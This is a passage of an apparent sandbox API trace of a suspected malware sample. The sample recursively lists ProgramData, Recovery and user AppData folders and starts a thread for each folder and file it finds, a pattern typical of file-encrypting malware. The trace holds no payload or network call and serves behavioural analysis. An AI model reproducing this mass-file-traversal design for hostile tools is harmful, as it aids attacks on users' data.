(HeapHandle=0x3f0000, Flags=0x8, Size=0x4a) returned 0x414990 [0046.199] wcscpy (in: _Dest=0x414990, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0046.199] wcscat (in: _Dest=0x414990, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0046.199] wcscat (in: _Dest=0x414990, _Source="WER" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER") returned="C:\\ProgramData\\Microsoft\\Windows\\WER" [0046.199] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x414990, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x45c [0046.200] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42dd20 | out: lpFindFileData=0x42dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda01e06, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WER", cAlternateFileName="")) returned 0 [0046.200] FindClose (in: hFindFile=0x409a68 | out: hFindFile=0x409a68) returned 1 [0046.200] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42dd20) returned 1 [0046.200] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4450e0) returned 1 [0046.200] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444cd0) returned 1 Thread: id = 167 os_tid = 0x318 [0046.201] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x4149e8 [0046.201] wcscpy (in: _Dest=0x4149e8, _Source="C:\\ProgramData\\Microsoft\\Windows NT" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT") returned="C:\\ProgramData\\Microsoft\\Windows NT" [0046.201] wcscat (in: _Dest=0x4149e8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\" [0046.201] wcscat (in: _Dest=0x4149e8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\*") returned="C:\\ProgramData\\Microsoft\\Windows NT\\*" [0046.201] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42dd20 [0046.201] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\*", lpFindFileData=0x42dd20 | out: lpFindFileData=0x42dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409ce8 [0049.764] wcscmp (_String1=".", _String2=".") returned 0 [0049.764] FindNextFileW (in: hFindFile=0x409ce8, lpFindFileData=0x42dd20 | out: lpFindFileData=0x42dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.764] wcscmp (_String1="..", _String2=".") returned 1 [0049.764] wcscmp (_String1="..", _String2="..") returned 0 [0049.764] FindNextFileW (in: hFindFile=0x409ce8, lpFindFileData=0x42dd20 | out: lpFindFileData=0x42dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSFax", cAlternateFileName="")) returned 1 [0049.764] wcscmp (_String1="MSFax", _String2=".") returned 1 [0049.764] wcscmp (_String1="MSFax", _String2="..") returned 1 [0049.764] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x54) returned 0x44a130 [0049.764] wcscpy (in: _Dest=0x44a130, _Source="C:\\ProgramData\\Microsoft\\Windows NT" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT") returned="C:\\ProgramData\\Microsoft\\Windows NT" [0049.764] wcscat (in: _Dest=0x44a130, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\" [0049.764] wcscat (in: _Dest=0x44a130, _Source="MSFax" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax" [0055.573] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44a130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e0 [0055.574] FindNextFileW (in: hFindFile=0x409ce8, lpFindFileData=0x42dd20 | out: lpFindFileData=0x42dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 1 [0055.574] wcscmp (_String1="MSScan", _String2=".") returned 1 [0055.574] wcscmp (_String1="MSScan", _String2="..") returned 1 [0055.574] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x56) returned 0x44aaf0 [0055.574] wcscpy (in: _Dest=0x44aaf0, _Source="C:\\ProgramData\\Microsoft\\Windows NT" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT") returned="C:\\ProgramData\\Microsoft\\Windows NT" [0055.574] wcscat (in: _Dest=0x44aaf0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\" [0055.574] wcscat (in: _Dest=0x44aaf0, _Source="MSScan" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan" [0055.574] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44aaf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd24 [0055.575] FindNextFileW (in: hFindFile=0x409ce8, lpFindFileData=0x42dd20 | out: lpFindFileData=0x42dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 0 [0055.575] FindClose (in: hFindFile=0x409ce8 | out: hFindFile=0x409ce8) returned 1 [0055.575] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42dd20) returned 1 [0055.575] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4149e8) returned 1 [0055.576] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444d20) returned 1 Thread: id = 168 os_tid = 0x7ac [0046.201] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x46) returned 0x444cd0 [0046.201] wcscpy (in: _Dest=0x444cd0, _Source="C:\\ProgramData\\Microsoft\\WwanSvc" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc") returned="C:\\ProgramData\\Microsoft\\WwanSvc" [0046.201] wcscat (in: _Dest=0x444cd0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc\\") returned="C:\\ProgramData\\Microsoft\\WwanSvc\\" [0046.201] wcscat (in: _Dest=0x444cd0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc\\*") returned="C:\\ProgramData\\Microsoft\\WwanSvc\\*" [0046.201] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42df88 [0046.201] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\*", lpFindFileData=0x42df88 | out: lpFindFileData=0x42df88*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a1a8 [0049.757] wcscmp (_String1=".", _String2=".") returned 0 [0049.757] FindNextFileW (in: hFindFile=0x40a1a8, lpFindFileData=0x42df88 | out: lpFindFileData=0x42df88*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.757] wcscmp (_String1="..", _String2=".") returned 1 [0049.757] wcscmp (_String1="..", _String2="..") returned 0 [0049.757] FindNextFileW (in: hFindFile=0x40a1a8, lpFindFileData=0x42df88 | out: lpFindFileData=0x42df88*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0049.757] wcscmp (_String1="Profiles", _String2=".") returned 1 [0049.757] wcscmp (_String1="Profiles", _String2="..") returned 1 [0049.757] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x54) returned 0x44a6d0 [0049.757] wcscpy (in: _Dest=0x44a6d0, _Source="C:\\ProgramData\\Microsoft\\WwanSvc" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc") returned="C:\\ProgramData\\Microsoft\\WwanSvc" [0049.758] wcscat (in: _Dest=0x44a6d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc\\") returned="C:\\ProgramData\\Microsoft\\WwanSvc\\" [0049.758] wcscat (in: _Dest=0x44a6d0, _Source="Profiles" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles") returned="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles" [0065.422] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44a6d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x39c [0065.423] FindNextFileW (in: hFindFile=0x40a1a8, lpFindFileData=0x42df88 | out: lpFindFileData=0x42df88*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0 [0065.423] FindClose (in: hFindFile=0x40a1a8 | out: hFindFile=0x40a1a8) returned 1 [0065.424] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42df88) returned 1 [0065.424] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444cd0) returned 1 [0065.424] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444d70) returned 1 Thread: id = 169 os_tid = 0x7b8 [0046.202] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x420fc8 [0046.202] wcscpy (in: _Dest=0x420fc8, _Source="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b" [0046.202] wcscat (in: _Dest=0x420fc8, _Source="\\" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\" [0046.202] wcscat (in: _Dest=0x420fc8, _Source="*" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\*") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\*" [0046.202] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42e1f0 [0046.202] FindFirstFileW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\*", lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409a68 [0046.203] wcscmp (_String1=".", _String2=".") returned 0 [0046.203] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.203] wcscmp (_String1="..", _String2=".") returned 1 [0046.203] wcscmp (_String1="..", _String2="..") returned 0 [0046.203] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x27c2fae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4185decd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x306000, dwReserved0=0x0, dwReserved1=0x0, cFileName="boot.sdi", cAlternateFileName="")) returned 1 [0046.203] wcscmp (_String1="boot.sdi", _String2=".") returned 1 [0046.203] wcscmp (_String1="boot.sdi", _String2="..") returned 1 [0046.203] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400098 [0046.203] wcscpy (in: _Dest=0x400098, _Source="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b" [0046.203] wcscat (in: _Dest=0x400098, _Source="\\" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\" [0046.203] wcscat (in: _Dest=0x400098, _Source="boot.sdi" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi" [0046.203] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x460 [0046.204] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x6496a3c6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x64b0e1b9, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfa6eb761, ftLastWriteTime.dwHighDateTime=0x1cb88d1, nFileSizeHigh=0x0, nFileSizeLow=0xa160012, dwReserved0=0x0, dwReserved1=0x0, cFileName="Winre.wim", cAlternateFileName="")) returned 1 [0046.204] wcscmp (_String1="Winre.wim", _String2=".") returned 1 [0046.204] wcscmp (_String1="Winre.wim", _String2="..") returned 1 [0046.204] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x400118 [0046.204] wcscpy (in: _Dest=0x400118, _Source="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b" [0046.204] wcscat (in: _Dest=0x400118, _Source="\\" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\" [0046.204] wcscat (in: _Dest=0x400118, _Source="Winre.wim" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim" [0046.204] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400118, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x464 [0046.205] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x6496a3c6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x64b0e1b9, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfa6eb761, ftLastWriteTime.dwHighDateTime=0x1cb88d1, nFileSizeHigh=0x0, nFileSizeLow=0xa160012, dwReserved0=0x0, dwReserved1=0x0, cFileName="Winre.wim", cAlternateFileName="")) returned 0 [0046.205] FindClose (in: hFindFile=0x409a68 | out: hFindFile=0x409a68) returned 1 [0046.205] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42e1f0) returned 1 [0046.205] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x420fc8) returned 1 [0046.205] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x420d98) returned 1 Thread: id = 170 os_tid = 0x7a8 [0046.207] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x50) returned 0x414a40 [0046.207] wcscpy (in: _Dest=0x414a40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" [0046.207] wcscat (in: _Dest=0x414a40, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\" [0046.207] wcscat (in: _Dest=0x414a40, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*" [0046.207] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42e1f0 [0046.207] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409a68 [0046.207] wcscmp (_String1=".", _String2=".") returned 0 [0046.207] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.207] wcscmp (_String1="..", _String2=".") returned 1 [0046.207] wcscmp (_String1="..", _String2="..") returned 0 [0046.207] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0046.207] wcscmp (_String1="Local", _String2=".") returned 1 [0046.207] wcscmp (_String1="Local", _String2="..") returned 1 [0046.207] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x44a5b0 [0046.207] wcscpy (in: _Dest=0x44a5b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" [0046.207] wcscat (in: _Dest=0x44a5b0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\" [0046.207] wcscat (in: _Dest=0x44a5b0, _Source="Local" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" [0046.208] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44a5b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x468 [0046.209] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0046.209] wcscmp (_String1="LocalLow", _String2=".") returned 1 [0046.209] wcscmp (_String1="LocalLow", _String2="..") returned 1 [0046.209] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5e) returned 0x445de0 [0046.209] wcscpy (in: _Dest=0x445de0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" [0046.209] wcscat (in: _Dest=0x445de0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\" [0046.209] wcscat (in: _Dest=0x445de0, _Source="LocalLow" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow" [0046.209] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x445de0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x46c [0046.210] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x87b76f00, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87b76f00, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0046.210] wcscmp (_String1="Roaming", _String2=".") returned 1 [0046.210] wcscmp (_String1="Roaming", _String2="..") returned 1 [0046.210] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5c) returned 0x445e48 [0046.210] wcscpy (in: _Dest=0x445e48, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" [0046.210] wcscat (in: _Dest=0x445e48, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\" [0046.210] wcscat (in: _Dest=0x445e48, _Source="Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0046.210] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x445e48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x470 [0046.211] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x87b76f00, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87b76f00, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0046.211] FindClose 